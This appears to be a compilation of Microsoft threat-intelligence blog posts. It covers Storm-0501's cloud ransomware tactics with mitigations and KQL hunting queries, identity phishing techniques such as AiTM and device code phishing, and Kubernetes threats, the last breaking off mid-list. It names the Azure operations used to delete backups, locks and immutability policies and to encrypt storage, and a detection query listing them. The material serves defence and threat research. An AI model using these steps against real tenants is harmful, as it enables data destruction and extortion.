After completing the exfiltration phase, Storm-0501 initiated the mass-deletion of the Azure resources containing the victim organization data, preventing the victim from taking remediation and mitigation action by restoring the data. They do so by abusing the following Azure operations against multiple Azure resource providers:

• Microsoft.Compute/snapshots/delete – Deletes Azure Snapshot, a read-only, point-in-time copy of an Azure VM’s disk (VHD), capturing its state and data at a specific moment, that exists independently from the source disk and can be used as a backup or clone of that disk.
• Microsoft.Compute/restorePointCollections/delete  – Deletes the Azure VM Restore Point, which stores virtual machines (VM) configuration and point-in-time application-consistent snapshots of all the managed disks attached to the VM.
• Microsoft.Storage/storageAccounts/delete – Deletes the Azure storage account, which contains and organization’s Azure Storage data objects: blobs, files, queues, and tables. In all of Storm-0501 Azure campaigns we investigated, this is where they mainly focused, deleting as many Azure Storage account resources as possible in the environment.
• Microsoft.RecoveryServices/Vaults/backupFabrics/protectionContainers/delete – Deletes an Azure recovery services vault protection container. A protection container is a logical grouping of resources (like VMs or workloads) that can be backed up together, within the Recovery Services vault.

During the threat actor’s attempts to mass-delete the data-stores/housing resources, they faced errors and failed to delete some of the resources due to the existing protections in the environment. These protections include Azure resource locks and Azure Storage immutability policies. They then attempted to delete these protections using the following operations:

• Microsoft.Authorization/locks/delete – Deletes Azure resource locks, which are used to prevent accidental user deletion and modification of Azure subscriptions, resource groups, or resources. The lock overrides any user permission.
• Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete – Deletes Azure storage immutability policies, which protect blob data from being overwritten or deleted.

After successfully deleting multiple Azure resource locks and Azure Storage immutability policies, the threat actor continued the mass deletion of the Azure data stores, successfully erasing resources in various Azure subscriptions. For resources that remained protected by immutability policies, the actor resorted to cloud-based encryption.

To perform cloud-based encryption, Storm-0501 created a new Azure Key Vault and a new Customer-managed key inside the Key Vault, which is meant to be used to encrypt the left Azure Storage accounts using the Azure Encryption scopes feature:

• Microsoft.KeyVault/vaults/write – Creates or modifies an existing Azure Key Vault. The threat actor creates a new Azure key vault to host the encryption key.
• Microsoft.Storage/storageAccounts/encryptionScopes/write – Creates or modifies Azure storage encryption scopes, which manage encryption with a key that is scoped to a container or an individual blob. When you define an encryption scope, you can specify whether the scope is protected with a Microsoft-managed key or with a customer-managed key that is stored in Azure Key Vault.

The threat actor abused the Azure Storage encryption scopes feature and encrypted the Storage blobs in the Azure Storage accounts. This wasn’t sufficient, as the organization could still access the data with the appropriate Azure permissions. In attempt to make the data inaccessible, the actor deletes the key that is used for the encryption. However, it’s important to note that Azure Key vaults and keys that are used for encryption purposes are protected by the Azure Key Vault soft-delete feature, with a default period of 90 days, which allows the user to retrieve the deleted key/vault from deletion, preventing cloud-based encryption for ransomware purposes.

After successfully exfiltrating and destroying the data within the Azure environment, the threat actor initiated the extortion phase, where they contacted the victims using Microsoft Teams using one of the previously compromised users, demanding ransom.

Mitigation and protection guidance

Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync. This change helps prevent threat actors from abusing Directory Synchronization Accounts in attacks to escalate privileges. Additionally, a new version released in May 2025 introduces modern authentication, allowing customers to configure application-based authentication for enhanced security (currently in public preview). It is also important to enable Trusted Platform Module (TPM) on the Entra Connect Sync server to securely store sensitive credentials and cryptographic keys, mitigating Storm-0501’s credential extraction techniques.

The techniques used by threat actors and described in this blog can be mitigated by adopting the following security measures:

Protecting on-premises

• Turn on tamper protection features to prevent threat actors from stopping security services such as Microsoft Defender for Endpoint, which can help prevent hybrid cloud environment attacks such as Microsoft Entra Connect abuse.
• Run endpoint detection and response (EDR) in block mode so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach.
• Turn on investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to help remediate alerts, significantly reducing alert volume.

Protecting cloud identities

• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Microsoft Entra ID and Azure environments to slow or stop threat actors.
• Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.
  • Set a Conditional Access policy to limit the access of Microsoft Entra ID Directory Synchronization Accounts (DSA) from untrusted IP addresses to all cloud apps.  Please refer to the advanced hunting section and check the relevant query to get those IP addresses.
  • For Entra Connect Sync servers using application-based authentication, use Conditional Access for workload identities to restrict the application’s service principal from similar unauthorized access.
• Ensure multifactor authentication (MFA) requirement for all users. Adding more authentication methods, such as the Microsoft Authenticator app or a phone number, increases the level of protection if one factor is compromised.
  • Ensure phishing-resistant multifactor authentication strength is required for Administrators.
  • Ensure Microsoft Azure overprovisioned identities should have only the necessary permissions.
• Ensure separate user accounts and mail forwarding for Global Administrator accounts. Global Administrator (and other privileged groups) accounts should be cloud-native accounts with no ties to on-premises Active Directory. See other best practices for using Privileged roles here.
• Ensure all existing privileged users have an already registered MFA method to protect against malicious MFA registrations
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Refer to Azure Identity Management and access control security best practices for further steps and recommendations to manage, design, and secure your Entra ID environment.
• Ensure Microsoft Defender for Cloud Apps connectors are turned on for your organization to receive alerts on the Microsoft Entra ID Directory Synchronization Account and all other users.
• Enable protection to prevent by-passing of cloud Microsoft Entra MFA when federated with Microsoft Entra ID. This enhances protection against federated domains attacks.
• Set the validatingDomains property of federatedTokenValidationPolicy to “all” to block attempts to sign-in to any non-federated domain (like .onmicrosoft.com) with SAML tokens.
• If only Microsoft Entra ID performs MFA for a federated domain, set federatedIdpMfaBehavior to rejectMfaByFederatedIdp to prevent bypassing MFA CAPs.
• Turn on Microsoft Entra ID protection to monitor identity-based risks and create risk-based Conditional Access policies to remediate risky sign-ins.

Protecting cloud resources

• Use solutions like Microsoft Defender for Cloud to protect your cloud resources and assets from malicious activity, both in posture management, and threat detection capabilities.
• Enable Microsoft Defender for Resource Manager as part of Defender for Cloud to automatically monitor the resource management operations in your organization. Defender for Resource Manager runs advanced security analytics to detect threats and alerts you about suspicious activity.
  • Enabling Defender for Resource Manager allows users to investigate Azure management operations within the Defender XDR, using the advanced hunting experience.
• Utilize the Azure Monitor activity log to investigate and monitor Azure management events.
• Utilize Azure policies for Azure Storage to prevent network and security misconfigurations and maximize the protection of business data stored in your storage accounts.
• Implement Azure Blog Storage security recommendations for enhanced data protection.
• Utilize the options available for data protection in Azure Storage.
• Enable immutable storage for Azure Blob Storage to protect from accidental or malicious modification or deletion of blobs or storage accounts.
• Apply Azure Resource Manager locks to protect from accidental or malicious modifications or deletions of storage accounts.
• Enable Azure Monitor for Azure Blob Storage to collect, aggregate, and log data to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Enabled Microsoft Defender for Storage using a built-in Azure policy.
• After enabling Microsoft Defender for Storage as part of Defender for Cloud, utilize the CloudStorageAggregatedEvents (preview) table in advanced hunting to proactively hunt for storage malicious activity.
• Enable Azure blob backup to protect from accidental or malicious deletions of blobs or storage accounts.
• Apply the principle of least privilege when authorizing access to blob data in Azure Storage using Microsoft Entra and RBAC and configure fine-grained Azure Blob Storage access for sensitive data access through Azure ABAC.
• Use private endpoints for Azure Storage account access to disable public network access for increased security.
• Avoid using anonymous read access for blob data.
• Enable purge protection in Azure Key Vaults to prevent immediate, irreversible deletion of vaults and secrets. Use the default retention interval of 90 days.
• Enable logs in Azure Key Vault and retain them for up to a year to enable recreation of activity trails for investigation purposes when a security incident occurs or network is compromised.
• Enable Microsoft Azure Backup for virtual machines to protect the data on your Microsoft Azure virtual machines, and to create recovery points that are stored in geo-redundant recovery vaults.

General hygiene recommendations

• Utilize Microsoft Security Exposure Management, available in the Microsoft Defender portal, with capabilities such as critical asset protection and attack path analysis that enable security teams to proactively reduce exposure and mitigate the impact of Storm-0501 hybrid attack tactics. In this case, each of the critical assets involved – Entra Connect server, users with DCSync permissions, Global Administrators – can be identified by relevant alerts and recommendations.
• Investigate on-premises and hybrid Microsoft Security Exposure Management attack paths. Security teams can use attack path analysis to trace cross-domain threats that exploit the critical Entra Connect server to pivot into cloud workloads, escalate privileges, and expand their reach. Teams can use the ‘Chokepoint’ view in the attack path dashboard in Microsoft Security Exposure Management to highlight entities appearing in multiple paths.
• Utilize the Critical asset management capability in Microsoft Security Exposure Management by configuring your own custom queries to pinpoint your organization’s business-critical assets according to your needs, such as business-critical Azure Storage accounts.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Actor Profile: Storm-0501
• Activity Profile: Ransomware actor Storm-0501 expands to hybrid cloud environments

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Sign-in activity

Explore sign-in activity from IdentityLogonEvents, look for uncommon behavior, such as sign-ins from newly seen IP addresses or sign-ins to new applications that are non-sync related:

IdentityLogonEvents
| where Timestamp > ago(30d)
| where AccountDisplayName contains "On-Premises Directory Synchronization Service Account"
| extend ApplicationName = tostring(RawEventData.ApplicationName)
| project-reorder Timestamp, AccountDisplayName, AccountObjectId, IPAddress, ActionType, ApplicationName, OSPlatform, DeviceType

The activity of the sync account is typically repetitive, coming from the same IP address to the same application. Any deviation from the natural flow is worth investigating. Cloud applications that are usually accessed by the Microsoft Entra ID sync account are Microsoft Azure Active Directory Connect, Windows Azure Active Directory, and Microsoft Online Syndication Partner Portal.

Cloud activity

Explore the cloud activity (ActionType) of the sync account. Similar to sign-in activity, this account by nature performs a certain set of actions including update User., update Device., and so on. New and uncommon activity from this user might indicate an interactive use of the account, which could legitimate action from someone in the organization or malicious action by the threat actor.

CloudAppEvents
| where Timestamp > ago(30d)
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| extend Workload = RawEventData.Workload
| project-reorder Timestamp, IPAddress, AccountObjectId, ActionType, Application, Workload, DeviceType, OSPlatform, UserAgent, ISP

Pay close attention to action from different DeviceTypes or OSPlatforms, this account automated service is performed from one specific machine, so there shouldn’t be any variety in these fields.

Azure management events

Explore Azure management events by querying the new CloudAuditEvents table in advanced hunting in the Defender portal. The OperationName column indicates the type of control-plane event executed by the user.

let Storm0501Operations = dynamic([
//Microsoft.Authorization
"Microsoft.Authorization/elevateAccess/action",
"Microsoft.Authorization/roleAssignments/write",
"Microsoft.Authorization/locks/delete",
//Microsoft.Storage
"Microsoft.Storage/storageAccounts/write",
"Microsoft.Storage/storageAccounts/listkeys/action",
"Microsoft.Storage/storageAccounts/delete",
"Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete",
"Microsoft.Storage/storageAccounts/encryptionScopes/write",
//Microsoft.Compute
"Microsoft.Compute/snapshots/delete",
"Microsoft.Compute/restorePointCollections/delete",
//Microsoft.RecoveryServices
"Microsoft.RecoveryServices/Vaults/backupFabrics/protectionContainers/delete",
//Microsoft.KeyVault
"Microsoft.KeyVault/vaults/write"
]);
CloudAuditEvents
| where Timestamp > ago(30d)
| where AuditSource == "Azure" and DataSource == "Azure Logs"
| where OperationName in~ (Storm0501Operations)
| extend EventName = RawEventData.eventName
| extend UserId = RawEventData.principalOid, ApplicationId = RawEventData.applicationId
| extend Status = RawEventData.status, SubStatus = RawEventData.subStatus
| extend Claims = parse_json(tostring(RawEventData.claims))
| extend UPN = Claims["http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"]
| extend AuthMethods = Claims["http://schemas.microsoft.com/claims/authnmethodsreferences"]
| project-reorder ReportId, EventName, Timestamp, UPN, UserId, AuthMethods, IPAddress, OperationName, AzureResourceId, Status, SubStatus, ResourceId, Claims, ApplicationId

Exposure of resources and users

Explore Microsoft Security Exposure Management capabilities by querying the ExposureGraphNodes and ExposureGraphEdges tables in the advanced hunting in the Defender portal. By utilizing these tables, you can identify critical assets, including Azure Storage accounts that contain sensitive data or protected by an immutable storage policy. All predefined criticality rules can be found here: Predefined classifications

ExposureGraphNodes
| where NodeLabel =~ "microsoft.storage/storageaccounts"
// Criticality check
| extend CriticalityInfo = NodeProperties["rawData"]["criticalityLevel"]
| where isnotempty( CriticalityInfo)
| extend CriticalityLevel = CriticalityInfo["criticalityLevel"]
| extend CriticalityLevel = case(
            CriticalityLevel == 0, "Critical",
            CriticalityLevel == 1, "High",
            CriticalityLevel == 2, "Medium",
            CriticalityLevel == 3, "Low", "")
| extend CriticalityRules = CriticalityInfo["ruleNames"]
| extend StorageContainsSensitiveData = CriticalityRules has "Databases with Sensitive Data"
| extend ImmutableStorageLocked = CriticalityRules has "Immutable and Locked Azure Storage"
// Exposure check
| extend ExposureInfo = NodeProperties["rawData"]["exposedToInternet"]
| project-reorder NodeName, NodeId, CriticalityLevel, CriticalityRules, StorageContainsSensitiveData, ImmutableStorageLocked, ExposureInfo

The following query can identify critical users who are mainly assigned with privileged Microsoft Entra roles, including Global Administrator:

ExposureGraphNodes
| where NodeLabel =~ "user"
| extend UserId = NodeProperties["rawData"]["accountObjectId"]
| extend IsActive = NodeProperties["rawData"]["isActive"]
// Criticality check
| extend CriticalityInfo = NodeProperties["rawData"]["criticalityLevel"]
| where isnotempty(CriticalityInfo)
| extend CriticalityLevel = CriticalityInfo["criticalityLevel"]
| extend CriticalityLevel = case(
            CriticalityLevel == 0, "Critical",
            CriticalityLevel == 1, "High",
            CriticalityLevel == 2, "Medium",
            CriticalityLevel == 3, "Low", "")
| extend CriticalityRules = CriticalityInfo["ruleNames"]
| extend GlobalAdministrator = CriticalityRules has "Global Administrator"
| project-reorder NodeName, NodeId, UserId, IsActive, CriticalityLevel, CriticalityRules, GlobalAdministrator

Omri Refaeli, Karam Abu Hanna, and Alon Marom

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Storm-0501’s evolving techniques lead to cloud-based ransomware appeared first on Microsoft Security Blog.

Implementing phishing-resistant and passwordless solutions, such as passkeys, can help organizations improve their security stance against advanced phishing attacks. Microsoft is dedicated to enhancing protections against phishing attacks and making it more challenging for threat actors to exploit human vulnerabilities. In this blog, I’ll cover techniques that Microsoft has observed threat actors use for phishing and social engineering attacks that aim to compromise cloud identities. I’ll also share what organizations can do to defend themselves against this constant threat.

While the examples in this blog do not represent the full range of phishing and social engineering attacks being leveraged against enterprises today, they demonstrate several efficient techniques of threat actors tracked by Microsoft Threat Intelligence. Understanding these techniques and hardening your organization with the guidance included here will help contribute to a significant part of your defense-in-depth approach.

Pre-compromise techniques for stealing identities

Modern phishing techniques attempt to defeat authentication flows

Adversary-in-the-middle (AiTM)

Today’s authentication methods have changed the phishing landscape. The most prevalent example is the increase in adversary-in-the-middle (AiTM) credential phishing as the adoption of MFA grows. The phish kits available from phishing-as-a-service (PhaaS) platforms has further increased the impact of AiTM threats; the Evilginx phish kit, for example, has been used by multiple threat actors in the past year, from the prolific phishing operator Storm-0485 to the Russian espionage actor Star Blizzard.

Evilginx is an open-source framework that provides AiTM capabilities by deploying a proxy server between a target user and the website that the user wishes to visit (which the threat actor impersonates). Microsoft tracked Storm-0485 directing targets to Evilginx infrastructure using lures with themes such as payment remittance, shared documents, and fake LinkedIn account verifications, all designed to prompt a quick response from the recipient. Storm-0485 also consistently uses evasion tactics, notably passing initial links through obfuscated Google Accelerated Mobile Pages (AMP) URLs to make links harder to identify as malicious.

To protect against AiTM attacks, consider complementing MFA with risk-based Conditional Access policies, available in Microsoft Entra ID Protection, where sign-in requests are evaluated using additional identity-driven signals like IP address location information or device status, among others. These policies use real-time and offline detections to assess the risk level of sign-in attempts and user activities. This dynamic evaluation helps mitigate risks associated with token replay and session hijacking attempts common in AiTM phishing campaigns.

Additionally, consider implementing Zero Trust network security solutions, such as Global Secure Access which provides a unified pane of glass for secure access management of networks, identities, and endpoints.

Device code phishing

Device code phishing is a relatively new technique that has been incorporated by multiple threat actors into their attacks. In device code phishing, threat actors like Storm-2372 exploit the device code authentication flow to capture authentication tokens, which they then use to access target accounts. Storm-1249, a China-based espionage actor, typically uses generic phishing lures—with topics like taxes, civil service, and even book pre-orders—to target high-level officials at organizations of interest. Microsoft has also observed device code phishing being used for post-compromise activity, which are discussed more in the next sections.

At Microsoft, we strongly encourage organizations to block device code flow where possible; if needed, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.

OAuth consent phishing

Another modern phishing technique is OAuth consent phishing, where threat actors employ the Open Authorization (OAuth) protocol and send emails with a malicious consent link for a third-party application. Once the target clicks the link and authorizes the application, the threat actor gains access tokens with the requested scopes and refresh tokens for persistent access to the compromised account. In one OAuth consent phishing campaign recently identified by Microsoft, even if a user declines the requested app permissions (by clicking Cancel on the prompt), the user is still sent to the app’s reply URL, and from there redirected to an AiTM domain for a second phishing attempt.

You can prevent employees from providing consent to specific apps or categories of apps that are not approved by your organization by configuring app consent policies to restrict user consent operations. For example, configure policies to allow user consent only to apps requesting low-risk permissions with verified publishers, or apps registered within your tenant.

Device join phishing

Finally, it’s worth highlighting recent device join phishing operations, where threat actors use a phishing link to trick targets into authorizing the domain-join of an actor-controlled device. Since April 2025, Microsoft has observed suspected Russian-linked threat actors using third-party application messages or emails referencing upcoming meeting invitations to deliver a malicious link containing valid authorization code. When clicked, the link returns a token for the Device Registration Service, allowing registration of the threat actor’s device to the tenant. You can harden against this type of phishing attack by requiring authentication strength for device registration in your environment.

Lures remain an effective phishing weapon

While both end users and automated security measures have become more capable at identifying malicious phishing attachments and links, motivated threat actors continue to rely on exploiting human behavior with convincing lures. As these attacks hinge on deceiving users, user training and awareness of commonly identified social engineering techniques are key to defending against them.

Impersonation lures

One of the most effective ways Microsoft has observed threat actors deliver lures is by impersonating people familiar to the target or using malicious infrastructure spoofing legitimate enterprise resources. In the last year, Star Blizzard has shifted from primarily using weaponized document attachments in emails to spear phishing with a malicious link leading to an AiTM page to target the government, non-governmental organizations (NGO), and academic sectors. The threat actor’s highly personalized emails impersonate individuals from whom the target would reasonably expect to receive emails, including known political and diplomatic figures, making the target more likely to be deceived by the phishing attempt.

QR codes

We have seen threat actors regularly iterating on the types of lure links incorporated into their attacks to make social engineering more effective. As QR codes have become a ubiquitous feature in communications, threat actors have adopted their use as well. For example, over the past two years, Microsoft has seen multiple actors incorporate QR codes, encoded with links to AiTM phishing pages, into opportunistic tax-themed phishing campaigns.

The threat actor Star Blizzard has even leveraged nonfunctional QR codes as a part of a spear-phishing campaign offering target users an opportunity to join a WhatsApp group: the initial spear-phishing email contained a broken QR code to encourage the targeted users to contact the threat actor. Star Blizzard’s follow-on email included a URL that redirected to a webpage with a legitimate QR code, used by WhatsApp for linking a device to a user’s account, giving the actor access to the user’s WhatsApp account.

Use of AI

Threat actors are increasingly leveraging AI to enhance the quality and volume of phishing lures. As AI tools become more accessible, these actors are using them to craft more convincing and sophisticated lures. In a collaboration with OpenAI, Microsoft Threat Intelligence has seen threat actors such as Emerald Sleet and Crimson Sandstorm interacting with large language models (LLMs) to support social engineering operations. This includes activities such as drafting phishing emails and generating content likely intended for spear-phishing campaigns.

We have also seen suspected use of generative AI to craft messages in a large-scale credential phishing campaign against the hospitality industry, based on the variations of language used across identified samples. The initial email contains a request for information designed to elicit a response from the target and is then followed by a more generic phishing email containing a lure link to an AiTM phishing site.

AI helps eliminate the common grammar mistakes and awkward phrasing that once made phishing attempts easier to spot. As a result, today’s phishing lures are more polished and harder for users to detect, increasing the likelihood of successful compromise. This evolution underscores the importance of securing identities in addition to user awareness training.

Phishing risks continue to expand beyond email

Enterprise communication methods have diversified to support distributed workforce and business operations, so phishing has expanded well beyond email messages. Microsoft has seen multiple threat actors abusing enterprise communication applications to deliver phishing messages, and we’ve also observed continued interest by threat actors to leverage non-enterprise applications and social media sites to reach targets.

Teams phishing

Microsoft Threat Intelligence has been closely tracking and responding to the abuse of the Microsoft Teams platform in phishing attacks and has taken action against confirmed malicious tenants by blocking their ability to send messages. The cybercrime access broker Storm-1674, for example, creates fraudulent tenants to create Teams meetings to send chat messages to potential victims using the meeting’s chat functionality; more recently, since November 2024, the threat actor has started compromising tenants and directly calling users over Teams to phish for credentials as well. Businesses can follow our security best practices for Microsoft Teams to further defend against attacks from external tenants.

Leveraging social media

Outside of business-managed applications, employees’ activity on social media sites and third-party communication platforms has widened the digital footprint for phishing attacks. For instance, while the Iranian threat actor Mint Sandstorm primarily uses spear-phishing emails, they have also sent phishing links to targets on social media sites, including Facebook and LinkedIn, to target high-profile individuals in government and politics. Mint Sandstorm, like many threat actors, also customizes and enhances their phishing messages by gathering publicly available information, such as personal email addresses and contacts, of their targets on social media platforms. Global Secure Access (GSA) is one solution that can reduce this type of phishing activity and manage access to social media sites on company-owned devices.

Post-compromise identity attacks

In addition to using phishing techniques for initial access, in some cases threat actors leverage the identity acquired from their first-stage phishing attack to launch subsequent phishing attacks. These follow-on phishing activities enable threat actors to move laterally within an organization, maintain persistence across multiple identities, and potentially acquire access to a more privileged account or to a third-party organization.

You can harden your environment against internal phishing activity by configuring the Microsoft Defender for Office 365 Safe Links policy to apply to internal recipients as well as by educating users to be wary of unsolicited documents and to report suspected phishing messages.

AiTM phishing crafted using legitimate company resources

Storm-0539, a threat actor that persistently targets the retail industry for gift card fraud, uses their initial access to a compromised identity to acquire legitimate emails—such as help desk tickets—that serve as templates for phishing emails. The crafted emails contain links directing users to AiTM phishing pages that mimic the federated identity service provider of the compromised organization. Because the emails resemble the organization’s legitimate messages, lead to convincing AiTM landing pages, and are sent from an internal account, they could be highly convincing. In this way, Storm-0539 moves laterally, seeking an identity with access to key cloud resources.

Intra-organization device code phishing

In addition to their use of device code phishing for initial access, Storm-2372 also leverages this technique in their lateral movement operations. The threat actor uses compromised accounts to send out internal emails with subjects such as “Document to review” and containing a device code authentication phishing payload. Because of the way device code authentication works, the payloads only work for 15 minutes, so Microsoft has seen multiple waves of post-compromise phishing attacks as the threat actor searches for additional credentials.

Defending against credential phishing and social engineering

Defending against phishing attacks begins at the primary gateways: email and other communication platforms. Review our recommended settings for Exchange Online Protection and Microsoft Defender for Office 365, or the equivalent for your email security solution, to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.

A holistic security posture for phishing must also account for the human aspect of social engineering. Investing in user awareness training and phishing simulations is critical for arming employees with the needed knowledge to defend against tried-and-true social engineering methods. Training can also help when threat actors inevitably refine and improve their techniques. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.

Hardening credentials and cloud identities is also necessary to defend against phishing attacks. By implementing the principles of least privilege and Zero Trust, you can significantly slow down determined threat actors who may have been able to gain initial access and buy time for defenders to respond. To get started, follow our steps to configure Microsoft Entra with increased security.

As part of hardening cloud identities, authentication using passwordless solutions like passkeys is essential, and implementing MFA remains a core pillar in identity security. Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals. Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA. Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.

Finally, a Security Service Edge solution like Global Secure Access (GSA) provides identity-focused secure network access. GSA can help to secure access to any app or resource using network, identity, and endpoint access controls.

Among Microsoft Incident Response cases over the past year where we identified the initial access vector, almost a quarter incorporated phishing or social engineering. To achieve phishing resistance and limit the opportunity to exploit human behavior, begin planning for passkey rollouts in your organization today, and  at a minimum, prioritize phishing-resistant MFA for privileged accounts as you evaluate the effect of this security measure on your wider organization. In the meantime, use the other defense-in-depth approaches I’ve recommended in this blog to defend against phishing and social engineering attacks.

Stay vigilant and prioritize your security at every step.

Recommendations

Several recommendations were made throughout this blog to address some of the specific techniques being used by threat actors tracked by Microsoft, along with essential practices for securing identities. Here is a consolidated list for your security team to evaluate.

• Configure Microsoft Entra with increased security.
• Use the Microsoft Authenticator app for passkeys and MFA.
• Strengthen privileged accounts with phishing resistant MFA.
• Complement MFA with risk-based Conditional Access policies, where sign-in requests are evaluated using additional identity-driven signals like IP address location information or device status, among others. Implementing Microsoft Entra ID Protection with these policies can automatically block or challenge access based on indicators like unfamiliar sign-in patterns or potential token theft attempts. When combined with Global Secure Access (GSA), organizations can extend this protection by enforcing Conditional Access decisions at the network layer to help secure access to any app or resource.
• Only allowing MFA and passkey registrations from trusted locations and devices.
• Review our recommended settings for Exchange Online Protection and Microsoft Defender for Office 365.
• Use attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, to run realistic attack scenarios in your organization for educating users.
• Use Global Secure Access to secure access to any app or resource using network, identity, and endpoint access controls.
• Block device code flow where possible; if needed, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Configure app consent policies to restrict user consent operations. For example, configure policies to allow user consent only to apps requesting low-risk permissions with verified publishers, or apps registered within your tenant.
• Require authentication strength for device registration in your environment.
• Follow our security best practices for Microsoft Teams.
• Configure the Microsoft Defender for Office 365 Safe Links policy to apply to internal recipients.

At Microsoft, we are accelerating security with our work on the Secure by Default framework. Specific Microsoft-managed policies are enabled for every new tenant and raise your security posture with security defaults that provide a baseline of protection for Entra ID and resources like Office 365.

Learn more  

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog. 

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky. 

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast. 

The post Defending against evolving identity attack techniques appeared first on Microsoft Security Blog.

Microsoft released and updated the threat matrix for Kubernetes, an active knowledge base for security threats that target Kubernetes clusters, to systematically map the attack surface of Kubernetes. We also worked with MITRE to develop the ATT&CK® for Containers matrix in 2021. As the adoption of containers-as-a-service among organizations rises, Microsoft Threat Intelligence continues to monitor the unique security threats that affect containerized environments.

Threats in Kubernetes environments

Containerized assets (including Kubernetes clusters, Kubernetes nodes, Kubernetes workloads, container registries, container images, and more) are at risk of several different types of attacks. To fully secure containerized workloads, organizations must secure the containers and the code running within them, software dependencies and libraries, continuous integration and continuous delivery (CI/CD) pipelines, runtime, and more.

Threats in Kubernetes environments can come from six primary areas:

• Compromised accounts: In cases where Kubernetes clusters are deployed in public clouds (such as Azure Kubernetes Service (AKS) or Google Kubernetes Engine (GKE)), compromised cloud credentials could lead to cluster takeover, as attackers who have access to account credentials can get access to the cluster’s management layer.
• Vulnerable or misconfigured images: Images that are not updated regularly might contain vulnerabilities that can be exploited in malicious attacks.
• Environment misconfigurations: An attacker with access to the Kubernetes API, either through exposed management interfaces or lack of appropriate authentication/authorization controls, could completely take down the server, deploy malicious containers, or hijack the entire cluster.
• App-level attacks: Applications could be exploited through several typical methods, such as SQL injection, cross-site scripting, and remote file inclusion.
• Node-level attacks: Attackers can gain initial access through nodes (host machines that containers run on) that run on vulnerable code or software, have open management interfaces such as SSH, or run commands from the cloud control plane. There is also the risk of pod escape, where a compromised pod can provide access to the node or to other pods in the cluster.
• Unauthorized traffic: Insecure networking between the different containers within the cluster and between the pods and outside world could be subject to malicious traffic if not secured.

Case study: Password spray attack leads to containers being used for cryptomining

In the past year, Microsoft Threat Intelligence has observed AzureChecker threats (tracked as Storm-1977) launching password spray attacks against cloud tenants in the education sector. The attack involves the use of AzureChecker.exe, a Command Line Interface (CLI) tool that is being used by a wide range of threat actors.

We observed that AzureChecker.exe connected to sac-auth[.]nodefunction[.]vip to download AES-encrypted data that when decrypted reveals the list of password spray targets. The tool then also accepted the file accounts.txt, which contained the username and password combinations to be used for the attack, as input. The threat actor then used the information from both files and posted the credentials to the target tenants for validation.

Microsoft Threat Intelligence was able to observe an instance of successful account compromise and found that the threat actor leveraged a guest account to create a resource group within the compromised subscription. The threat actor then created more than 200 containers within the resource group and used them for cryptomining activity.  

Securing containerized environments

The following best practices can help secure containerized assets against commonly observed threats.

Secure code prior to deployment

Ensuring that containers have secure code prior to deployment is essential to preventing issues during deployment and runtime. To facilitate this, Microsoft Defender for Cloud scans container images for vulnerabilities and misconfigurations and alerts customers of issues before a container is deployed.

Defender for Cloud DevOps also provides visibility into the security posture of the CI/CD platform. Additional best practices such as restricting access to DevOps tooling, using a secret store instead of hard-coding secrets in code or documentation, and using hardened DevOps workstations to build and deploy code can help prevent security issues before code is deployed.

Secure container deployment and runtime

Container deployment refers to the phase of the lifecycle where container images are pulled from the static container registry to be run on virtual machines hosts. During deployment, you should ensure the following best security practices:

• Ensure containers are immutable: Prevent patches from running containers whenever possible. As best practice, if you notice that a running container needs updates, you should rebuild the image and deploy the new container. Introducing new code in running containers can introduce new vulnerabilities, bypass secure development lifecycle protections, as well as pose an operational risk in case a container is restarted and run again with the original container image content without any runtime modifications.
